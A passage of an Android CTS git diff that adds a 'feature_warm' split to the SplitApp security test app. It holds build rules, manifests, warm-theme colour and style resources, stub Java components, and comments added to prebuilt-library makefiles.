+ defaults: ["CtsSplitAppFeatureWarmDefaults"],
+ package_splits: [
+ "v7",
+ "v23",
+ ],
+ certificate: ":cts-testkey1",
+ aaptflags: [
+ "--version-code 100",
+ "--version-name OneHundred",
+ "--replace-version",
+ "--package-id 0x80",
+ ],
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+}
+
+// Define a variant requiring a split for install
+android_test_helper_app {
+ name: "CtsNeedSplitFeatureWarm",
+ defaults: ["CtsSplitAppFeatureWarmDefaults"],
+ manifest: "needsplit/AndroidManifest.xml",
+ package_splits: ["v7"],
+ certificate: ":cts-testkey1",
+ aaptflags: [
+ "--version-code 100",
+ "--revision-code 12",
+ "--version-name OneHundredRevisionTwelve",
+ "--replace-version",
+ "--package-id 0x80",
+ ],
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+}
+
+// Define a variant with different codes and resources for the inherit updated test of the
+// feature_warm apk
+android_test_helper_app {
+ name: "CtsSplitAppFeatureWarmRevisionA",
+ defaults: ["CtsSplitAppFeatureWarmDefaults"],
+ srcs: ["src/**/*.java", "revision_a/src/**/*.java"],
+ resource_dirs: ["res", "revision_a/res"],
+ asset_dirs: ["revision_a/assets"],
+ manifest : "revision_a/AndroidManifest.xml",
+ package_splits: ["v7"],
+ certificate: ":cts-testkey1",
+ aaptflags: [
+ "--version-code 100",
+ "--revision-code 10",
+ "--version-name OneHundredRevisionTen",
+ "--replace-version",
+ "--package-id 0x80",
+ "--auto-add-overlay",
+ ],
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/AndroidManifest.xml
new file mode 100644
index 0000000..01cb9b7
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/AndroidManifest.xml
@@ -0,0 +1,61 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2014 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.splitapp"
+ split="feature_warm">
+
+ <uses-sdk android:minSdkVersion="4"
+ android:targetSdkVersion="27"/>
+
+ <!-- New permission should be ignored -->
+ <uses-permission android:name="android.permission.INTERNET"/>
+
+ <!-- New application flag should be ignored -->
+ <application android:largeHeap="true">
+ <activity android:name=".FeatureActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ <meta-data android:name="android.service.wallpaper"
+ android:resource="@xml/my_activity_meta"/>
+ </activity>
+ <activity android:name=".WarmThemeActivity" android:theme="@style/Theme_Warm"
+ android:exported="false">
+ <intent-filter>
+ <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
+ <receiver android:name=".FeatureReceiver"
+ android:enabled="@bool/feature_receiver_enabled"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.DATE_CHANGED"/>
+ </intent-filter>
+ </receiver>
+ <service android:name=".FeatureService"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="com.android.cts.splitapp.service"/>
+ </intent-filter>
+ </service>
+ <provider android:name=".FeatureProvider"
+ android:authorities="com.android.cts.splitapp.provider"/>
+ </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/assets/dir/dirfile2.txt b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/assets/dir/dirfile2.txt
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/assets/dir/dirfile2.txt
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/assets/dir/dirfile2.txt
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/assets/file2.txt b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/assets/file2.txt
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/assets/file2.txt
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/assets/file2.txt
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/needsplit/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/needsplit/AndroidManifest.xml
new file mode 100644
index 0000000..927c95e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/needsplit/AndroidManifest.xml
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.splitapp"
+ split="feature_warm"
+ android:isSplitRequired="true">
+
+ <uses-sdk android:minSdkVersion="4"
+ android:targetSdkVersion="27"/>
+
+ <!-- New permission should be ignored -->
+ <uses-permission android:name="android.permission.INTERNET"/>
+
+ <!-- New application flag should be ignored -->
+ <application android:largeHeap="true">
+ <activity android:name=".FeatureActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ <meta-data android:name="android.service.wallpaper"
+ android:resource="@xml/my_activity_meta"/>
+ </activity>
+ <activity android:name=".WarmThemeActivity" android:theme="@style/Theme_Warm"
+ android:exported="false">
+ <intent-filter>
+ <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
+ <receiver android:name=".FeatureReceiver"
+ android:enabled="@bool/feature_receiver_enabled"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.DATE_CHANGED"/>
+ </intent-filter>
+ </receiver>
+ <service android:name=".FeatureService"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="com.android.cts.splitapp.service"/>
+ </intent-filter>
+ </service>
+ <provider android:name=".FeatureProvider"
+ android:authorities="com.android.cts.splitapp.provider"/>
+ </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/drawable/warm_color_drawable.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/drawable/warm_color_drawable.xml
new file mode 100644
index 0000000..e94b522
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/drawable/warm_color_drawable.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+-->
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+ android:color="?attr/customColor"/>
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/colors.xml
new file mode 100644
index 0000000..d9a8bf2
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<resources>
+ <!-- light warm colors for Theme_Warm -->
+ <color name="warm_custom_color">@color/red_light</color>
+ <color name="warm_navigation_bar_color">@color/orange_light</color>
+ <color name="warm_status_bar_color">@color/yellow_light</color>
+
+ <color name="red_light">#ffffcccb</color>
+ <color name="orange_light">#fffed8b1</color>
+ <color name="yellow_light">#ffffffed</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/styles.xml
new file mode 100644
index 0000000..bcdfda9
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/styles.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+ <style name="Theme_Warm" parent="@style/Theme_Base">
+ <item name="customColor">@color/warm_custom_color</item>
+ <item name="android:windowBackground">@drawable/warm_color_drawable</item>
+ <item name="android:navigationBarColor">@color/warm_navigation_bar_color</item>
+ </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/res/values-v7/values.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v7/values.xml
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/res/values-v7/values.xml
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v7/values.xml
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/colors.xml
new file mode 100644
index 0000000..471403d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<resources>
+ <!-- warm colors for Theme_Warm -->
+ <color name="warm_custom_color">@color/red</color>
+ <color name="warm_navigation_bar_color">@color/orange</color>
+ <color name="warm_status_bar_color">@color/yellow</color>
+
+ <color name="red">#ffff0000</color>
+ <color name="orange">#ffffa500</color>
+ <color name="yellow">#ffffff00</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/styles.xml
new file mode 100644
index 0000000..2c6461a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/styles.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+ <style name="Theme_Warm" parent="@style/Theme_Base">
+ <item name="customColor">@color/warm_custom_color</item>
+ <item name="android:windowBackground">@drawable/warm_color_drawable</item>
+ <item name="android:statusBarColor">@color/warm_status_bar_color</item>
+ </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/res/values/values.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/values.xml
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/res/values/values.xml
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/values.xml
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/AndroidManifest.xml
new file mode 100644
index 0000000..5398e47
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/AndroidManifest.xml
@@ -0,0 +1,60 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.splitapp"
+ split="feature_warm">
+
+ <uses-sdk android:minSdkVersion="4"
+ android:targetSdkVersion="27"/>
+
+ <application>
+ <!-- Updates to .revision_a.FeatureActivity -->
+ <activity android:name=".revision_a.FeatureActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ <meta-data android:name="android.service.wallpaper"
+ android:resource="@xml/my_activity_meta"/>
+ </activity>
+ <activity android:name=".WarmThemeActivity" android:theme="@style/Theme_Warm"
+ android:exported="false">
+ <intent-filter>
+ <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
+ <receiver android:name=".FeatureReceiver"
+ android:enabled="@bool/feature_receiver_enabled"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.DATE_CHANGED"/>
+ </intent-filter>
+ </receiver>
+ <!-- Updates to .revision_a.FeatureService -->
+ <service android:name=".revision_a.FeatureService"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="com.android.cts.splitapp.service"/>
+ </intent-filter>
+ </service>
+ <!-- Updates to .revision_a.FeatureProvider -->
+ <provider android:name=".revision_a.FeatureProvider"
+ android:authorities="com.android.cts.splitapp.provider"/>
+ </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/dir/dirfileFA.txt b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/dir/dirfileFA.txt
new file mode 100644
index 0000000..bfa925e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/dir/dirfileFA.txt
@@ -0,0 +1 @@
+DIRFILE_FA
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/fileFA.txt b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/fileFA.txt
new file mode 100644
index 0000000..0c81c70
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/fileFA.txt
@@ -0,0 +1 @@
+FILE_FA
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/res/values/values.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/res/values/values.xml
new file mode 100644
index 0000000..a5cabe2
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/res/values/values.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <bool name="feature_receiver_enabled">false</bool>
+ <string name="feature_string">red-revision</string>
+ <integer name="feature_integer">456</integer>
+
+ <string name="feature_new_string">feature new string</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureActivity.java
new file mode 100644
index 0000000..790c2ad
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.app.Activity;
+
+public class FeatureActivity extends Activity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureProvider.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureProvider.java
new file mode 100644
index 0000000..f1a6fd0
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureProvider.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class FeatureProvider extends ContentProvider {
+ public static boolean sCreated = false;
+
+ @Override
+ public boolean onCreate() {
+ sCreated = true;
+ return true;
+ }
+
+ @Override
+ public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+ String sortOrder) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override
+ public String getType(Uri uri) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override
+ public Uri insert(Uri uri, ContentValues values) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override
+ public int delete(Uri uri, String selection, String[] selectionArgs) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override
+ public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+ throw new UnsupportedOperationException();
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureService.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureService.java
new file mode 100644
index 0000000..ca59ebc
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureService.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.app.IntentService;
+import android.content.Intent;
+
+public class FeatureService extends IntentService {
+ public FeatureService() {
+ super("Feature1Service");
+ }
+
+ @Override
+ protected void onHandleIntent(Intent intent) {
+ // Ignored
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureActivity.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureActivity.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureActivity.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureLogic.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureLogic.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureLogic.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureLogic.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureProvider.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureProvider.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureProvider.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureProvider.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureR.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureR.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureR.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureR.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureReceiver.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureReceiver.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureReceiver.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureReceiver.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureService.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureService.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureService.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureService.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/WarmThemeActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/WarmThemeActivity.java
new file mode 100644
index 0000000..3cd3110
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/WarmThemeActivity.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp;
+
+public class WarmThemeActivity extends ThemeActivity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
index e495ad3..071a7a4 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
@@ -14,6 +14,8 @@
# limitations under the License.
#
+# Caution: This file is used by NDK to generate all platform library files.
+# Please don't change this file to Android.bp.
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
@@ -23,6 +25,8 @@
LOCAL_LDLIBS += -llog
+LOCAL_CFLAGS := -D__ANDROID_ARCH__=\"$(TARGET_ARCH_ABI)\"
+
# tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts general-tests
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/Android.mk
index ba2da56..206d517 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/Android.mk
@@ -12,4 +12,6 @@
# See the License for the specific language governing permissions and
# limitations under the License.
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
include $(call all-subdir-makefiles)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
index 8eede6c..8b3451c 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
@@ -12,8 +12,9 @@
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
-#
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/AndroidManifest.xml
index 206e207..ec56f79 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/AndroidManifest.xml
@@ -1,4 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.splitapp"
split="lib_arm64_v8a">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw/lib/arm64-v8a/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw/lib/arm64-v8a/libsplitappjni.so
index bcc8f51..f01ba36 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw/lib/arm64-v8a/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw/lib/arm64-v8a/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
index 234a7d8..d4540b6 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
@@ -12,8 +12,9 @@
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
-#
+# Automatically generated file from build_libs.sh.
